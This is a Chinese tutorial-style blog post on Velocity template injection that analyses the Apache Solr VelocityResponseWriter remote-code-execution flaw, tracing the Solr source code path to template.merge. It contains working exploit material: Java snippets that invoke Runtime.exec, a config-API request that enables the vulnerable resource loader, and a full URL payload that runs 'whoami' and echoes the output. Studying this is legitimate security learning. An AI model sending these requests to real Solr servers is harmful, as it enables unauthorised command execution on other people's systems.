网站语言包是什么,安徽网站开发推荐,wordpress网站怎么进入后台,微信公众号网站开发语言前言
学过 freemaker#xff0c;学过 Thymeleaf 模板注入#xff0c;但是还没有学过 Velocity 模板注入#xff0c;然后学习一个知识最好的方法就是要找一个实际中的例子去学习#xff0c;好巧不巧#xff0c;前端时间还在分析 apache solr 的 cve#xff0c;这次又搜到…前言
学过 freemaker学过 Thymeleaf 模板注入但是还没有学过 Velocity 模板注入然后学习一个知识最好的方法就是要找一个实际中的例子去学习好巧不巧前端时间还在分析 apache solr 的 cve这次又搜到了 Apache Solr 的 Velocity 模板注入漏洞开始学习启动感觉结合一个例子来学学得还是比较理解到的
Velocity 模板注入基础
首先搭建一个环境因为这样边写边学才能学得更快
Pom.xml 文件
?xml version1.0 encodingUTF-8?
project xmlnshttp://maven.apache.org/POM/4.0.0xmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexsi:schemaLocationhttp://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsdmodelVersion4.0.0/modelVersiongroupIdorg.example/groupIdartifactIdvelocity/artifactIdversion1.0-SNAPSHOT/versionpropertiesmaven.compiler.source8/maven.compiler.sourcemaven.compiler.target8/maven.compiler.targetproject.build.sourceEncodingUTF-8/project.build.sourceEncoding/propertiesdependencies!-- https://mvnrepository.com/artifact/org.apache.velocity/velocity-engine-core --dependencygroupIdorg.apache.velocity/groupIdartifactIdvelocity-engine-core/artifactIdversion2.0/version/dependency/dependencies/project
直接复制粘贴就 ok
#和$和set
#用来标识Velocity的脚本语句包括#set、#if 、#else、#end、#foreach、#end、#include、#parse、#macro等语句。 $用来标识一个变量比如模板文件中为Hello $a可以获取通过上下文传递的$ a
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;import java.io.StringWriter;public class Test {public static void main(String[] args) {Velocity.init();String templateString #set($a \ooyywwll\) Hello $a;VelocityContext context new VelocityContext();StringWriter writer new StringWriter();Velocity.evaluate(context, writer, test, templateString);System.out.println(writer.toString());}
}
输出 Hello ooyywwll
获取属性
paylaod 改为 #set($ee)$e.getClass() 输出 class java.lang.String
当然还有.的这种形式
context.put(user, new User(aaaa));hello, $user.name!输出 hello, $user.aaaa!
执行恶意命令
看下面的一个例子
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;import java.io.StringWriter;public class Test {public static void main(String[] args) {Velocity.init();String templateString #set($e\e\)\n $e.getClass().forName(\java.lang.Runtime\).getMethod(\getRuntime\,null).invoke(null,null).exec(\calc\);VelocityContext context new VelocityContext();StringWriter writer new StringWriter();Velocity.evaluate(context, writer, test, templateString);System.out.println(writer.toString());}
}
其实和我们的 spel 表达式几乎没有区别 开启配置
因为需要模板注入还需要在配置文件中设置一下
在官方文档中搜寻一下如何修改配置或者看一些文章 参考https://blog.csdn.net/zteny/article/details/51868764
SolrConfigHandler提供一个实时且动态的获取和更新 solrconfig.xml 配置的功能。其实这么说并不准确但可以先这么理解。因为 SolrConfigHandler 并没有直接更新 solrconfig.xml而且是在 zookeeper 中的 solrconfig.xml 同目录下生成一个 configoverlay.json 文件用于存储更新配置项。格式当然是 json 了啦。
SolrConfigHandler 主要提供两个功能查询配置信息和更改配置信息。对应 SolrConfigHandler 也是非常清晰获取配置信息用 METHOD.GET而更改配置信息用的是 METHOD.POST
所以我们就需要使用 METHOD.POST 方法去修改配置
可以发送如下的请求
POST /solr/demo/config HTTP/1.1
Host: 192.168.177.146:8983
Content-Length: 259
Cache-Control: max-age0
Origin: http://192.168.177.146:8983
Content-Type: application/json
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7
Referer: http://192.168.177.146:8983/solr/demo/config
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q0.9
Connection: keep-alive{update-queryresponsewriter: {startup: lazy,name: velocity,class: solr.VelocityResponseWriter,template.base.dir: ,solr.resource.loader.enabled: true,params.resource.loader.enabled: true}
}
然后我们再次使用获取配置信息用 METHOD.GET 可以看到params.resource.loader.enabled 已经开启
这个的调试分析就算了因为重点是学习模板注入
模板注入调试分析
按照模板注入的特点我们可以全局查找一下 template.merge 是否存在模板注入 可以看见是可能存在模板注入的
这里给出 paylaod 方便调试分析
http://192.168.177.146:8983/solr/demo/select?q1wtvelocityv.templatecustomv.template.custom%23set($x%27%27)%23set($rt$x.class.forName(%27java.lang.Runtime%27))%23set($chr$x.class.forName(%27java.lang.Character%27))%23set($str$x.class.forName(%27java.lang.String%27))%23set($ex$rt.getRuntime().exec(%27whoami%27))$ex.waitFor()%23set($out$ex.getInputStream())%23foreach($iin[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
这个 paylaod 的复杂点在于获取命令执行后的回显如果只执行命令的话是比较简单的
首先需要明确一点渲染模板是用来回显的至于 apache solr 的基本流程以前的文章已经说过了而且网上也很多核心就是模板渲染是为了回显的所以我们关注代码的时候也是重点关注生成响应的代码 call:558, HttpSolrCall (org.apache.solr.servlet) 决定了我们这次请求的类型
switch (action) {case ADMIN:handleAdminRequest();return RETURN;case REMOTEQUERY:SolrRequestInfo.setRequestInfo(new SolrRequestInfo(req, new SolrQueryResponse()));remoteQuery(coreUrl path, resp);return RETURN;case PROCESS:final Method reqMethod Method.getMethod(req.getMethod());HttpCacheHeaderUtil.setCacheControlHeader(config, resp, reqMethod);// unless we have been explicitly told not to, do cache validation// if we fail cache validation, execute the queryif (config.getHttpCachingConfig().isNever304() ||!HttpCacheHeaderUtil.doCacheHeaderValidation(solrReq, req, reqMethod, resp)) {SolrQueryResponse solrRsp new SolrQueryResponse();/* even for HEAD requests, we need to execute the handler to* ensure we dont get an error (and to make sure the correct* QueryResponseWriter is selected and we get the correct* Content-Type)*/SolrRequestInfo.setRequestInfo(new SolrRequestInfo(solrReq, solrRsp));execute(solrRsp);if (shouldAudit()) {EventType eventType solrRsp.getException() null ? EventType.COMPLETED : EventType.ERROR;if (shouldAudit(eventType)) {cores.getAuditLoggerPlugin().doAudit(new AuditEvent(eventType, req, getAuthCtx(), solrReq.getRequestTimer().getTime(), solrRsp.getException()));}}HttpCacheHeaderUtil.checkHttpCachingVeto(solrRsp, resp, reqMethod);IteratorMap.EntryString, String headers solrRsp.httpHeaders();while (headers.hasNext()) {Map.EntryString, String entry headers.next();resp.addHeader(entry.getKey(), entry.getValue());}QueryResponseWriter responseWriter getResponseWriter();if (invalidStates ! null) solrReq.getContext().put(CloudSolrClient.STATE_VERSION, invalidStates);writeResponse(solrRsp, responseWriter, reqMethod);}return RETURN;default: return action;}
}
这里是 PROCESS然后很明显的构造请求的方法是 writeResponse 但是前面的参数也是很重要的 我们的输入都存储在
SolrQueryResponse solrRsp new SolrQueryResponse();/* even for HEAD requests, we need to execute the handler to* ensure we dont get an error (and to make sure the correct* QueryResponseWriter is selected and we get the correct* Content-Type)*/
SolrRequestInfo.setRequestInfo(new SolrRequestInfo(solrReq, solrRsp)); 进入writeResponse 方法
private void writeResponse(SolrQueryResponse solrRsp, QueryResponseWriter responseWriter, Method reqMethod)throws IOException {try {Object invalidStates solrReq.getContext().get(CloudSolrClient.STATE_VERSION);//This is the last item added to the response and the client would expect it that way.//If that assumption is changed , it would fail. This is done to avoid an O(n) scan on// the response for each requestif (invalidStates ! null) solrRsp.add(CloudSolrClient.STATE_VERSION, invalidStates);// Now write it outfinal String ct responseWriter.getContentType(solrReq, solrRsp);// dont call setContentType on nullif (null ! ct) response.setContentType(ct);if (solrRsp.getException() ! null) {NamedList info new SimpleOrderedMap();int code ResponseUtils.getErrorInfo(solrRsp.getException(), info, log);solrRsp.add(error, info);response.setStatus(code);}if (Method.HEAD ! reqMethod) {OutputStream out response.getOutputStream();QueryResponseWriterUtil.writeQueryResponse(out, responseWriter, solrReq, solrRsp, ct);}//else http HEAD request, nothing to write out, waited this long just to get ContentType} catch (EOFException e) {log.info(Unable to write response, client closed connection or we are shutting down, e);}
}
可以看到获取了 ContentType请求的方法请求的输出
此时的响应还没有完全形成 因为这只是最基本的响应后面还需要渲染而我们输入的参数就决定了如何渲染,处理是在
QueryResponseWriterUtil.writeQueryResponse(out, responseWriter, solrReq, solrRsp, ct);
public static void writeQueryResponse(OutputStream outputStream,QueryResponseWriter responseWriter, SolrQueryRequest solrRequest,SolrQueryResponse solrResponse, String contentType) throws IOException {if (responseWriter instanceof BinaryQueryResponseWriter) {BinaryQueryResponseWriter binWriter (BinaryQueryResponseWriter) responseWriter;binWriter.write(outputStream, solrRequest, solrResponse);} else {OutputStream out new OutputStream() {Overridepublic void write(int b) throws IOException {outputStream.write(b);}Overridepublic void flush() throws IOException {// We dont flush here, which allows us to flush below// and only flush internal buffers, not the response.// If we flush the response early, we trigger chunked encoding.// See SOLR-8669.}};Writer writer buildWriter(out, ContentStreamBase.getCharsetFromContentType(contentType));responseWriter.write(writer, solrRequest, solrResponse);writer.flush();}
}
这段代码的主要功能是将查询响应结果写入输出流 然后进入 responseWriter.write 方法 这里我们的 responseWriter 是 VelocityResponseWriter 当然这样的流还有很多 主要和我们的输入有关系
protected QueryResponseWriter getResponseWriter() {String wt solrReq.getParams().get(CommonParams.WT);if (core ! null) {return core.getQueryResponseWriter(wt);} else {return SolrCore.DEFAULT_RESPONSE_WRITERS.getOrDefault(wt,SolrCore.DEFAULT_RESPONSE_WRITERS.get(standard));}
}
我们的 paylaod wt 是等于 velocity
public void write(Writer writer, SolrQueryRequest request, SolrQueryResponse response) throws IOException {VelocityEngine engine createEngine(request); // TODO: have HTTP headers available for configuring engineTemplate template getTemplate(engine, request);VelocityContext context createContext(request, response);context.put(engine, engine); // for $engine.resourceExists(...)String layoutTemplate request.getParams().get(LAYOUT);boolean layoutEnabled request.getParams().getBool(LAYOUT_ENABLED, true) layoutTemplate ! null;String jsonWrapper request.getParams().get(JSON);boolean wrapResponse layoutEnabled || jsonWrapper ! null;// create outputif (!wrapResponse) {// straight-forward template/context merge to outputtemplate.merge(context, writer);}else {// merge to a string buffer, then wrap with layout and finally as JSONStringWriter stringWriter new StringWriter();template.merge(context, stringWriter);if (layoutEnabled) {context.put(content, stringWriter.toString());stringWriter new StringWriter();try {engine.getTemplate(layoutTemplate TEMPLATE_EXTENSION).merge(context, stringWriter);} catch (Exception e) {throw new IOException(e.getMessage());}}if (jsonWrapper ! null) {for (int i0; ijsonWrapper.length(); i) {if (!Character.isJavaIdentifierPart(jsonWrapper.charAt(i))) {throw new SolrException(SolrException.ErrorCode.BAD_REQUEST, Invalid function name for JSON : jsonWrapper );}}writer.write(jsonWrapper ();writer.write(getJSONWrap(stringWriter.toString()));writer.write());} else { // using a layout, but not JSON wrappingwriter.write(stringWriter.toString());}}
}
可以发现是在这里渲染的模板 最后
也是才开始学习这个模板注入分析了这个 cve 后对大概的挖掘流程和解析流程还是比直接看学得好了一点